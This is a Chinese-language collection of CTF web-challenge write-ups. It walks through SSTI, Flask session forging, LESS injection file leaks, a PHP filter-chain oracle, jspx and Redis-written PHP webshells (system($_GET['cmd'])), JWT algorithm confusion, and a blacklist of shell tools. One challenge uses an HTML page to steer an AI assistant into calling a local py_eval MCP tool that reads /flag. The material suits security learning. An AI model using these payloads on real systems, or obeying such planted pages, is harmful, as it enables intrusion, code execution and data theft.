Super Safe File Storage
Discription
Our site has no vulnerabilities! 😗 Our site doesn’t need Guessing! 😎 25.08.24 Patched (add special character, Blacklist.txt)
解题
下载下来的附件只有一句话:blackbox
靶机内部有几个已经存在的文件:
manual.txt
Because of a file upload attack, that feature will not be available for the time being.However, important process are still running in the background.stolen_1.txt
?!"'&()*,-.:;<=>@[]^$%~7zddagapkaptawkbase64bashbinbzip2cdchmodchowncpcroncurlcutdevdigdirdisowndockerechoenvevalexecexportfilefindflagflgetgrepgunzipgzipheadhexdumphostifconfigipkillkubectllnlsmkdirmvncncatnetcatnetstatnodenohupnmapnslookupodonestarperlphppingpippip3podmanpopenprintenvprintfpspwdpythonreadreadlinkrebootrealpathrmrmdirroutescpsedsetsftpshshutdownsleepsocatsortssstatstringssystemtartcptcpdumpteetimeouttoptouchtrtraceroutetxtuniqunsetunzipuptimewgetxargsxxdxzzipstolen_2.txt
package com.example.upload;
import com.opensymphony.xwork2.ActionSupport;import org.apache.struts2.ServletActionContext;
import java.io.*;import java.nio.charset.StandardCharsets;import java.util.ArrayList;import java.util.Collections;import java.util.List;
public class CheckAction extends ActionSupport { private List<String> allFiles; private List<String> shFiles; private List<String> shResults; private String message; private boolean run;
public String execute() { javax.servlet.http.HttpServletResponse resp = org.apache.struts2.ServletActionContext.getResponse(); if (resp != null) { resp.setHeader("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0"); resp.setHeader("Pragma", "no-cache"); resp.setDateHeader("Expires", 0); } javax.servlet.http.HttpServletRequest req = org.apache.struts2.ServletActionContext.getRequest(); if (req != null && !"POST".equalsIgnoreCase(req.getMethod())) { this.run = false; }
String rootPath = ServletActionContext.getServletContext().getRealPath("/"); File root = new File(rootPath);
List<String> all = new ArrayList<>(); List<File> sh = new ArrayList<>(); walk(root, root, all, sh); Collections.sort(all, String.CASE_INSENSITIVE_ORDER); this.allFiles = all;
List<String> shNames = new ArrayList<>(); for (File f : sh) shNames.add(toRel(root, f)); Collections.sort(shNames, String.CASE_INSENSITIVE_ORDER); this.shFiles = shNames;
this.shResults = new ArrayList<>();
if (run) { File sec = new File(root, "security_check.sh"); if (sec.exists() && sec.isFile()) { try { ScriptResult r = runScript(sec, true); shResults.add(sec.getName() + " → exit code: " + r.exitCode + "\nOutput:\n" + r.output.trim());
boolean ok = r.output.toLowerCase().contains("nice");
if (ok) { File baseDir = sec.getParentFile() != null ? sec.getParentFile() : root; List<File> others = listShInDir(baseDir, "security_check.sh");
for (File f : others) { try { ScriptResult or = runScript(f, false); shResults.add(f.getName() + " → exit code: " + or.exitCode + "\nOutput:\n" + or.output.trim()); } catch (Exception e) { shResults.add(f.getName() + " → execution failed: " + e.getMessage()); } }
for (File f : others) { if (f.exists() && f.isFile()) { if (!f.delete()) { try { f.setWritable(true, false); } catch (Throwable ignored) {} f.delete(); } } } } } catch (Exception e) { shResults.add("security_check.sh → execution failed: " + e.getMessage()); } } else { shResults.add("security_check.sh not found"); }
List<String> all2 = new ArrayList<>(); List<File> sh2 = new ArrayList<>(); walk(root, root, all2, sh2); Collections.sort(all2, String.CASE_INSENSITIVE_ORDER); this.allFiles = all2;
this.message = "File check Done!"; } else { this.message = "Press the button to run integrity check."; } return SUCCESS; }
private void walk(File base, File dir, List<String> all, List<File> sh) { File[] list = dir.listFiles(); if (list == null) return; for (File f : list) { if (f.isDirectory()) { walk(base, f, all, sh); } else { String rel = toRel(base, f); all.add(rel); if (f.getName().toLowerCase().endsWith(".sh")) sh.add(f); } } }
private String toRel(File base, File f) { String bp = base.getAbsolutePath(); String fp = f.getAbsolutePath(); if (!bp.endsWith(File.separator)) bp = bp + File.separator; return fp.startsWith(bp) ? fp.substring(bp.length()) : f.getName(); }
private List<File> listShInDir(File dir, String excludeName) { List<File> out = new ArrayList<>(); File[] arr = dir.listFiles(); if (arr == null) return out; for (File f : arr) { if (f.isFile() && f.getName().toLowerCase().endsWith(".sh")) { if (excludeName != null && f.getName().equalsIgnoreCase(excludeName)) continue; out.add(f); } } return out; }
private ScriptResult runScript(File script, boolean isSecurityCheck) throws IOException, InterruptedException { String nm = script.getName(); if (isSecurityCheck) { if (nm == null || !nm.toLowerCase().contains("security_check")) { return new ScriptResult(1, "Backdoor Detected!"); } } else { if (nm == null || !nm.toLowerCase().endsWith(".sh")) { return new ScriptResult(1, "Backdoor Detected!"); } }
ProcessBuilder pb = new ProcessBuilder("/bin/bash", script.getAbsolutePath()); pb.directory(script.getParentFile()); pb.redirectErrorStream(true); Process p = pb.start();
StringBuilder out = new StringBuilder(); try (BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), StandardCharsets.UTF_8))) { String line; while ((line = br.readLine()) != null) out.append(line).append("\n"); } int code = p.waitFor(); return new ScriptResult(code, out.toString()); }
private static class ScriptResult { int exitCode; String output; ScriptResult(int c, String o){ this.exitCode = c; this.output = o; } }
public void setRun(boolean run) { this.run = run; } public boolean isRun() { return run; } public List<String> getAllFiles() { return allFiles; } public List<String> getShFiles() { return shFiles; } public List<String> getShResults() { return shResults; } public String getMessage() { return message; }}还有一个File Integrity Check,会检查:
blacklist.txtbrowse.jspcheck.jspflag.txtindex.jspMETA-INF/MANIFEST.MFMETA-INF/maven/com.example/upload/pom.propertiesMETA-INF/maven/com.example/upload/pom.xmlMETA-INF/war-trackernohack.jspnohere.jspnotfound.jspROOT/index.htmlROOT/nohack.jspROOT/web.xmlsecurity_check.shsuccess.jspuploads/manual.txtuploads/stolen_1.txtuploads/stolen_2.txtview.jspWEB-INF/blacklist.txtWEB-INF/classes/com/example/upload/BlacklistFilter.classWEB-INF/classes/com/example/upload/CheckAction$ScriptResult.classWEB-INF/classes/com/example/upload/CheckAction.classWEB-INF/classes/com/example/upload/DotSegmentsGuardFilter.classWEB-INF/classes/com/example/upload/ListUploadsAction.classWEB-INF/classes/com/example/upload/PrettyUrlFilter.classWEB-INF/classes/com/example/upload/UploadAction.classWEB-INF/classes/com/example/upload/UploadsInterceptFilter.classWEB-INF/classes/com/example/upload/ViewFileAction.classWEB-INF/classes/struts.xmlWEB-INF/lib/commons-fileupload-1.4.jarWEB-INF/lib/commons-io-2.11.0.jarWEB-INF/lib/commons-lang3-3.8.1.jarWEB-INF/lib/freemarker-2.3.31.jarWEB-INF/lib/javassist-3.20.0-GA.jarWEB-INF/lib/log4j-api-2.12.4.jarWEB-INF/lib/ognl-3.1.29.jarWEB-INF/lib/struts2-core-2.5.30.jarWEB-INF/web.xml默认输出是:
security_check.sh → exit code: 0Output:Security Check Done!Checked .sh: 0nice布豪,是Java。Java面前一条曲。
吃力审计一下,如果 security_check.sh 输出包含 “nice”,它会扫描目录下所有的 .sh 文件并执行。
if (f.isFile() && f.getName().toLowerCase().endsWith(".sh"))检查黑名单,发现 tac、tail、more、nl 没有被禁用。反斜杠\没有被禁用,可以转义特殊字符绕过waf。
发现存在 Log4J2 漏洞(CVE-2021-44228),不对,已经修了
我感觉就是 Struts2 CVE-2024-53677 啊,传一个:
tac /f\l\a\g\.\t\x\t然后点一下check。
go run . -url http://host3.dreamhack.games:23581/upload-1.0.0/ -end-point upload.action
CVE-2023-50164 也不行啊😭
CVE-2017-5638 也不行啊😭
输了
Mini Memo
A small and cute memo (❁ ’`❁)
USER_DATABASE = 'data/users.db'MEMO_DATABASE = 'memos.db'fuzz了一下,memo本身没法ssti。
if len(username) > 10: flash('Username must be 10 characters or less!') return render_template('register.html')
if len(password) > 10: flash('Password must be 10 characters or less!') return render_template('register.html')然后就看到很奇怪的,说是用户名和密码要小于等于10字符,这就很可疑啊。接着审计,发现SQL部分都是用了占位符,排除注入可能。
template_path = f"data/templates/{template}"
if template.startswith("/") or template.startswith("../"): template_path = f"data/templates/default"
template_path = os.path.normpath(template_path)审计到这里。这里对传入的template做了简单的过滤,不能以/和../开头,但这根本没用啊。比如我传入templates/../../users.db,通过检测,拼接完是data/templates/templates/../../users.db,os.path.normpath一下就变成data/users.db。
结合前面提到的用户名密码的长度限制,注意到,用户名会直接写入data/users.db,同时可以把data/users.db作为模板,那么用户名就是SSTI的锚点。因为长度有限,那么就使用 {{ config }},先进行信息收集。注册一个用户名是{{ config }}的账号,然后burp改一下template参数,payload如下:
title=AA&content=BB&template=templates/../../users.db
访问新建的memo,获得SECRET_KEY(也是flag的前半段):
FLAG1:DH{85bbcce15adac36a5682ae6fce4cec7e使用Flask-Unsign伪造token
flask-unsign --decode --cookie '.eJyrVirKz0lVslIqLU4tUtIBU_GZKUpWhhB2XmIuSLa6Ojk_Ly0zvbZWqRYAu0sRpg.aYS8eg.PReu47xIFS8YkpbVnDC8OLSiB-k'
# {'role': 'user', 'user_id': 1, 'username': '{{config}}'}
flask-unsign --sign --cookie "{'role': 'admin', 'user_id': 1, 'username': 'admin'}" --secret 'FLAG1:DH{85bbcce15adac36a5682ae6fce4cec7e'
# .eJyrVirKz0lVslJKTMnNzFPSUSotTi2Kz0xRsjKEsPMScxHStQBzLw-T.aYS-hA.aPwQWjLExmfq-tguYu8D9DzEOa0访问/flag,获得后半段:
FLAG2:0d2768542a3019bc94b34829f8995f98}
所以完整flag是:
DH{85bbcce15adac36a5682ae6fce4cec7e0d2768542a3019bc94b34829f8995f98}LESSer Cat
Description
We have released Lesser Cat, which has reduced all features other than cat-related functions!
Use the unique ColorPicker feature to change the cat’s wallpaper color!
※ The rest of the features are under development…
审计
题目提示,LESS模板注入。
发现POST /reset_mail,会写入一个带有重置密码需要的Key的文件./mail.log。目标就是泄露这个文件,重置密码,以admin权限登录。
function colorPicker(colorDict){
var css = "";
for (var key in colorDict){
try{
if(!colorDict[key].match(/^#[\w\d]{6}$/)) return false;
} catch(error){ // console.log(error) }
css += `@${key}:` + colorDict[key] + ";";
}
css = css + "body{ background-color: @bgcolor; color: @color; }";
return css;}可以看到,虽然使用了/^#[\w\d]{6}$/这个正则对传入数据做了检验,但是catch块并没有阻止逻辑继续。如果try内报错,就不会return false,而是继续执行css += `@${key}:` + colorDict[key] + ";";。注意到,JS的数组并没有.match方法,这里是会爆TypeError的。
此外,JavaScript 是弱类型的,当数组与字符串相加时,数组会自动调用 .toString(),如果这里传入
['#fff; .leak { content: data-uri("mail.log"); }']拼接结果就是
@bgcolor:#fff; .leak { content: data-uri("mail.log"); };
这里的data-uri函数会读取文件并且以URl安全的形式储存,当请求它时,就会读取文件。<文档链接>
Payload:
bgColor[]=#ffffff; .leak { content: data-uri("mail.log"); }&fontColor=#000000先申请重置密码,没有提供前端,直接用 curl 发吧:
curl -X POST http://127.0.0.1:3000/reset_mail执行注入:
curl -X POST http://127.0.0.1:3000/color \ -d "bgColor[]=%23ffffff%3b%20.leak%20%7b%20content%3a%20data-uri(%22mail.log%22)%3b%20%7d" \ -d "fontColor=%23000000"访问/image.css

.leak { content: url("data:text/plain,fb21ebd8354818399fcd9a3f6781bbcf");}body { background-color: #ffffff; color: #000000;}
获得重置密码需要的key。请求/pass_reset重置密码:
curl -X POST http://127.0.0.1:3000/pass_reset \ -d "password=111&key=fb21ebd8354818399fcd9a3f6781bbcf"登录:
curl -X POST http://127.0.0.1:3000/login \ -d "username=admin&password=111"
# flag{fake_flag}Remote
➜ ~ curl -X POST http://host3.dreamhack.games:9891/reset_mailReset Mail Send.%
➜ ~ curl -X POST http://host3.dreamhack.games:9891/color \ -d "bgColor[]=%23ffffff%3b%20.leak%20%7b%20content%3a%20data-uri(%22mail.log%22)%3b%20%7d" \ -d "fontColor=%23000000"ColorPicker Done%
➜ ~ curl http://host3.dreamhack.games:9891/image.css.leak { content: url("data:text/plain,5bd6ae8c9a0a07f5d50a7113f7a9e1ab");}body { background-color: #ffffff; color: #000000;}
➜ ~ curl -X POST http://host3.dreamhack.games:9891/pass_reset \ -d "password=111&key=5bd6ae8c9a0a07f5d50a7113f7a9e1ab"Reset Done%
➜ ~ curl -X POST http://host3.dreamhack.games:9891/login \ -d "username=admin&password=111"flag{LESSerCat_with_LESSJS_SSTI!}%
补
看别人的WP,发现
@import (inline) "mail.log";也是可以的。算是报错回显吧。
也有的思路是通过@plugin引用外部js,不过机器是不出网的。
jukebox
Browse musics…
这题的考点是PHP filter chains: file read from error-based oracle,需要用到这个工具。确实没遇到过这样的考oracle预言机的题目,这个知识点也是第一次知道。
其实附件刚下载完打开,本地部署的时候就看见docker-compose.yml里的restart: unless-stopped,我当时以为这可能是某个比赛的原题,需要保证稳定。但其实如果有敏感性,这个就能看出考点了。泄露文件的核心在于要让php奔溃,返回Fatal error。
这题我能审计到的,就是绕过协议头检查:
curl -v -X POST http://127.0.0.1:54321/ \ -d "song_url=php://filter/var=https://google.com/resource=file:///flag.txt"这样可以直接读取文件,不过waf会检查flag头,也就是DH,如果输出包含它,就会报错Suspicious output!。接下来就是php://filter神奇的地方。
PHP 的过滤器(如 iconv 字符集转换)在处理特定字符时,会有不同的行为,也就是说,反应上的不同本身就可以构成侧信道。通过组合极长的过滤器链(比如几千个 convert.iconv… 的组合),可以让数据在转换过程中发生变化。
这个工具使用了一种特定的链条组合,使得:
如果文件的第 N 个字符是 'A',经过这几千次转换后,数据流会指数级膨胀,导致PHP OOM崩溃。如果文件的第 N 个字符不是 'A',数据流就不会膨胀,或者膨胀得很小,PHP 能正常执行完。...其实原理上很像SQL的time-based blind injection,但是sql可以用benchmark或者求笛卡尔积等等方法,php里通过php://filter本身处理的差异这实在太高级了。而且这几乎没法防御吧,这个延迟本身甚至都不是因为逻辑上的分支导致的,除非说加一道waf,数据过长直接阻断。没有很完美的修复手段。
一开始match没设置对,导致fallback到了基于报错时间的攻击,非常之不准啊,要跑相当多次才能确认。

解题流程如下:
git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.gitcd php_filter_chains_oracle_exploit
python3 filters_chain_oracle_exploit.py \ --target http://host3.dreamhack.games:11404/ \ --parameter song_url \ --file "php://filter/var=https://google.com/resource=file:///flag.txt" \ --verb POST \ --match "Fatal error"
[*] The following URL is targeted : http://host3.dreamhack.games:11404/[*] The following local file is leaked : php://filter/var=https://google.com/resource=file:///flag.txt[*] Running POST requests[*] The following pattern will be matched for the oracle : Fatal error[+] File php://filter/var=https://google.com/resource=file:///flag.txt leak is finished!REh7UEhQX0xGMV9DNE5fRDBfNE5ZVEgxTkc6NkU0WldyVXA0bTFXa28vOUxxdkVTZz09b'DH{PHP_LF1_C4N_D0_4NYTH1NG:6E4ZWrUp4m1Wko/9LqvESg=='
本地测试,最后一位是跑不出来的,但也就是右大括号。所以flag:
DH{PHP_LF1_C4N_D0_4NYTH1NG:6E4ZWrUp4m1Wko/9LqvESg==}
这是LFI吗?好像是的吧。。。?
Fruit Market
注册一个用户,把nickname设置为${env:ADMIN_PASSWORD},登录后,顶部问候语句会泄露Admin的密码,本地靶机是ivtMytf4eStS5bis
分析源码可知,admin的userid是容器启动时随机生成的,admin_${???},这个直接爆破一下也没多少,但其实用处不大?直接看docker日志就可以看到。
market-app | 2026-02-06T13:14:38.443Z WARN 1 --- [fms] [ main] com.ctf.fms.InsertAdminRunner : Seeded admin account -> userid='admin_9xh' password='ivtMytf4eStS5bis'这里我一开始是考虑使用:
${file:UTF-8:/proc/1/fd/1}这个payload作为nickname来泄露启动日志,但是这个东西非常大,而且一直源源不断地涌出,直接把靶机搞崩溃了,这肯定不行啊。所以我感觉还是爆破为主,很快的。
发现有两个上传接口,只有一个实际可控。看到过滤了jsp,但是依然可以上传jspx,传个马试试看:
curl -X POST -H "Cookie: session=.eJyrVirKz0lVslIqLU4tUtIBU_GZKUpWxhB2XmIuSLa6Ojk_Ly0zvbZWqRYAu38RqA.aYS77Q.tqgYbR9eoa9-8UbDAMhmnDkTs7Y; JSESSIONID=F42D0BF29649EB5933B8EB61D107C660" -F "file=@shell.jspx" http://127.0.0.1:8001/admin/upload
{"path":"/uploads/1770383849121_shell.jspx"}确实可以,不过注意到题目自带了一个马,那么自然也是能用的,不过加载不了蚁剑的payload。
http://127.0.0.1:8001/uploads/shell.jsp?cmd=id没招了,搞了几个小时了😭。这题需要从market-app容器横向打到resource容器,利用mongo容器😵但这resource怎么一打就挂了。。。
phpythonode
Description
It is a server that runs three services: php (php-1), python (ssrf), and node (node_api)./readflag Run the binary.This issue is for experienced web hackers.I’m not a experienced web hacker qwq.
附件不完整,只有部分代码,这。。。感觉vm credit又不保。。。
Host: host3.dreamhack.games Port: 16484/tcp → 8000/tcp 10539/tcp → 3000/tcp For Pwnable Challenges: nc host3.dreamhack.games 16484 For Web Hacking Challenges: http://host3.dreamhack.games:16484/ For Pwnable Challenges: nc host3.dreamhack.games 10539 For Web Hacking Challenges: http://host3.dreamhack.games:10539/
好大一题
获取 Python Flag
try: FLAG = open('./flag.txt', 'r').read() # Flag is here!!except: FLAG = '[**FLAG**]'
local_host = '127.0.0.1'local_port = random.randint(1500, 1800)local_server = http.server.HTTPServer((local_host, local_port), http.server.SimpleHTTPRequestHandler)这没啥好说的,就去ssrf爆破一下端口,读http://127.0.0.1:{port}/flag.txt就好了,有点慢,先看PHP部分。
出来了:
This is ssrf flag获取 PHP Flag
在 php/index.php 中存在 LFI:
include $_GET['page']?$_GET['page'].'.php':'main.php';在 php/view.php 中虽然可以查看文件,但过滤了 “flag” 关键字:
$file = $_GET['file']?$_GET['file']:'';if(preg_match('/flag|:/i', $file)){ exit('Permission denied');}echo file_get_contents($file);
使用Python的ssrf:
http://127.0.0.1:80/?page=php://filter/convert.base64-encode/resource=../uploads/flag
解base64再解base64可以获得php部分的flag:
<?php $flag = 'This is php-1 flag';?>can you see $flag?获取 Node.js Flag
app.get('/show_logs', function(req, res) { // var log_query=get/log_info var log_query = req.query.log_query; try { log_query = log_query.split('/'); if (log_query[0].toLowerCase() != 'get') { log_query[0] = 'get'; } log_query[1] = log_query.slice(1) } catch (err) { // Todo // Error(403); } try { redis_client.send_command(log_query[0], log_query[1], function(err, result) { if (err) { res.send('ERR'); } else { res.send(result); } }) } catch (err) { res.send('try /show_logs?log_query=get/log_info') }});又是catch错误没有处理,这周遇到两题了,不过那题是go,但也是数组报错。如果传入数组,log_query = log_query.split('/');就直接报错了,跳过if那里的关键词检测,到了catch,又没有抛出异常,导致这个log_query被send_command了。
先访问一下http://host3.dreamhack.games:10539/拿个cookie:
session=.eJyrVirKz0lVslJKTMnNzFPSUSotTi2Kz0xRsjKEsPMScxHStQBzLw-T.aYS-hA.aPwQWjLExmfq-tguYu8D9DzEOa0; connect.sid=s%3AdxEGksUKJsHSPX73ruHiJzWVtsv9Vsit.2Hd7YP9Bi%2FmJuZ8XRDxzmPbTB3kL95hYY8fQjwpNtUk这里的Session ID就是dxEGksUKJsHSPX73ruHiJzWVtsv9Vsit
我们需要将 Session 数据设置为:
{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}
payload就是:
GET /show_logs?log_query[0]=set&log_query[1][0]=sess:dxEGksUKJsHSPX73ruHiJzWVtsv9Vsit&log_query[1][1]={"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}
返回OK,然后请求/flag,拿到flag:
This is node_api flagRCE
不过以上的flag都没用啊,最终的flag是需要RCE执行/readflag的。然后靶机内部还有一个redis,估计是需要利用redis写php马。
先设置redis目录,最保险的就是/tmp了,不会有权限问题:
/show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dir&log_query[1][2]=/tmp设置文件名:
/show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dbfilename&log_query[1][2]=shell.php写文件:
/show_logs?log_query[0]=set&log_query[1][0]=myshell&log_query[1][1]=<?php system($_GET['cmd']); ?>保存:
/show_logs?log_query[0]=saveindex.php会自动拼接.php,所以只需要引用shell就可以了,通过Python的ssrf对php操一个LFI的作:
http://127.0.0.1:80/?page=../../../../tmp/shell&cmd=/readflag
OK图片base64丢厨子,拿到flag:
DH{d7e17d0a5c5f4886c33ded622bec0df5}
复盘
我感觉这题出得蛮好,三个服务三个fake flag引导你一步一步渗透内网,不然真的没啥头绪,一上来要想到 node命令执行操作redis写马用python的ssrf对php进行lfi实现rce,挺难的,但是给了一个铺垫就很有意思了,考的知识点是很清晰的。难度主要在node的那个payload构造,其他都是固定操作。
附件不给完整题目得喷,得看着Dockerfile和docker-entrypoint.sh推测靶机样子
dreamschool
Description
dreamschool, a school community for all schools around the world
Hello! I am DreamSchool, which manages a community for all schools from elementary school to university 💙
I heard that something strange is happening on Dream University’s secret bulletin board, but the board is locked, so I can’t even see it as an administrator 😢
Be sure to find out what’s happening at Dream University!
审计&解题
先看Dockerfile,有一句非常奇怪
RUN sed -i.bak '143,146d' /usr/local/lib/python3.9/site-packages/jwt/algorithms.py那么自然要去检查一下requirements.txt的PyJWT是什么版本,好的,是PyJWT==1.7.1,那么大概率要考JWT伪造了。
观察error.py,学校名称存在SSTI。注册一个学校名为{{ config }}的账户,登陆后触发404,泄漏:

/s/<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b'\xa0\xce6])\xe1\x87\x15\xb6\x8cO\x9a\xf1\x9a\xeep\xab\xd2)t\xe5|\xd1\xb1\xe1;\x9c\x7f\n_a\x1c', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'AUTH_PUBLIC_KEY': b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHuLShSG/jR1btqcHDR4xI/MLL\nUnwSX8QuXc0f9OAGKaJndBu9Ndu5VZZEuiHOVGmwzdiCMHONcu1EGLfNOfD0eAoh\nnAoyvjpa5WKELYg8XUh5KzmQbYMzCvXhjAeuCurK7jrgV7Rdg3GcMjmoL n28keE\nRSYxWVbDY59Ukb25XwIDAQAB\n-----END PUBLIC KEY-----', 'FLAG_SCHOOL': '드림대학교', 'SQLALCHEMY_DATABASE_URI': 'sqlite:////app/database.db', 'TIMEZONE': 'Asia/Seoul'}>'><Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b'\xa0\xce6])\xe1\x87\x15\xb6\x8cO\x9a\xf1\x9a\xeep\xab\xd2)t\xe5|\xd1\xb1\xe1;\x9c\x7f\n_a\x1c', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'AUTH_PUBLIC_KEY': b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHuLShSG/jR1btqcHDR4xI/MLL\nUnwSX8QuXc0f9OAGKaJndBu9Ndu5VZZEuiHOVGmwzdiCMHONcu1EGLfNOfD0eAoh\nnAoyvjpa5WKELYg8XUh5KzmQbYMzCvXhjAeuCurK7jrgV7Rdg3GcMjmoL n28keE\nRSYxWVbDY59Ukb25XwIDAQAB\n-----END PUBLIC KEY-----', 'FLAG_SCHOOL': '드림대학교', 'SQLALCHEMY_DATABASE_URI': 'sqlite:////app/database.db', 'TIMEZONE': 'Asia/Seoul'}>(으)로</a>一大坨,只需要关注AUTH_PUBLIC_KEY就可以了:
-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHuLShSG/jR1btqcHDR4xI/MLLUnwSX8QuXc0f9OAGKaJndBu9Ndu5VZZEuiHOVGmwzdiCMHONcu1EGLfNOfD0eAohnAoyvjpa5WKELYg8XUh5KzmQbYMzCvXhjAeuCurK7jrgV7Rdg3GcMjmoL n28keERSYxWVbDY59Ukb25XwIDAQAB-----END PUBLIC KEY-----
Dockerfile删除的/usr/local/lib/python3.9/site-packages/jwt/algorithms.py刚好是 PyJWT 1.7.1 中防止非对称公钥被用作 HMAC 密钥的检查代码(CVE-2022-29217),那我肯定不想删这个东西,就用之前的脚本生成jwt好了。另外需要注意,上面的AUTH_PUBLIC_KEY中有个空格,需要换成+。
之后,,,之后的,,,居然被ai一把梭了😨,他给了我一个exp,跑了一下直接爆flag了。。。

那么结合它的exp来分析一下流程吧。考点是UUIDv1 预测。UUIDv1 基于时间戳。由于代码中是连续调用,两个 UUID 的时间戳差异极小,也就是说可以通过伪造的 Token 访问 드림대학교 主页,获取Free Board的 board_id,然后通过微调时间戳(增加偏移量)来爆破Secret Board的 board_id。

秘密版块虽然开启了 MFA,但 school_board 路由(/s/드림대학교身份,并且知道secret_board_id,即可直接访问版块并读取flag。
有意思是,前两天刚刚翻到了LamentXU的这篇文章-聊聊python中的UUID安全。了解到Python的UUIDv1实现是基于PRNG的伪随机数。“那么一次UUIDv1就会泄露14个字节,根据MT19937的攻击方式。我们需要连续624*32//(14)+1=1427次泄露就可以预测下一个生成的clock_seq”。嗯,看不懂。
魔理沙的魔法目录
我以为那个time是累计时长,结果好像是单次时长,最大两位数。眼疾手快发个几十次就好了。
curl 'http://cloud-big.hgame.vidar.club:30850/record' \-X 'POST' \-H 'Accept: */*' \-H 'Content-Type: application/json' \-H 'Origin: http://cloud-big.hgame.vidar.club:30850' \-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.1 Safari/605.1.15' \-H 'Authorization: d3d55ff5-eb56-4249-b945-e6559142ce90' \-H 'Referer: http://cloud-big.hgame.vidar.club:30850/' \-H 'Content-Length: 11' \-H 'Accept-Language: zh-CN,zh-Hans;q=0.9' \-H 'Accept-Encoding: gzip, deflate' \-H 'Connection: keep-alive' \-H 'Priority: u=3, i' \--data-raw '{"time":10}'
My Little Assistant
Woore最近在折腾一个“智能助手”,
它看起来很贴心:
能帮你分析网页
能访问外部资源
甚至还能“执行一些小工具”
但在信任这位小助手之前, 你或许该想想:
它到底是在理解你的需求, 还是在服从看到的一切?这题好玩。
py_eval这个mcp被ban了,ai使用不了,只能使用py_request,但是这个mcp只支持get,无法使用它来直接ssrf请求mcp的py_eval。考虑xss,chrome刚好禁用了跨域限制。

<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Flag</title></head><body> <div id="result">Waiting...</div>
<script> // 1. 更加精简的 Python Payload // 不需要 import os,直接读取即可,确保 local_vars 只有 result const pyCode = "result = open('/flag').read()";
const payload = { "jsonrpc": "2.0", "id": 1, "params": { "name": "py_eval", "arguments": { "code": pyCode } } };
fetch('http://127.0.0.1:8001/mcp', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(payload) }) .then(res => res.json()) .then(data => { // 2. JS 数据清洗 // data 结构是: {jsonrpc:..., result: { content: [{text: "string_of_local_vars"}] } } // 我们直接提取最深层的 text,扔掉外面的包装 try { let innerText = data.result.content[0].text; document.getElementById('result').innerText = innerText; } catch (e) { document.getElementById('result').innerText = JSON.stringify(data); } }); </script></body></html>
MyMonitor
刚开始审计,尝试了一下jwt,但不是。

ai真好使啊((。bot执行ls命令的时候没有args,导致普通用户发送的args进入的bot那条指令里,造成了命令拼接。以下是 AI 分析,只能说勉勉强强知道在说啥吧💦
核心漏洞在于 attachment/handler.go 中对 sync.Pool 的不当使用,导致了对象池污染(Object Pool Pollution),结合后台可能存在的 Admin Bot,可以实现远程代码执行(RCE)获取 Flag。
- 漏洞分析 漏洞位于 attachment/handler.go 的 UserCmd 函数中:
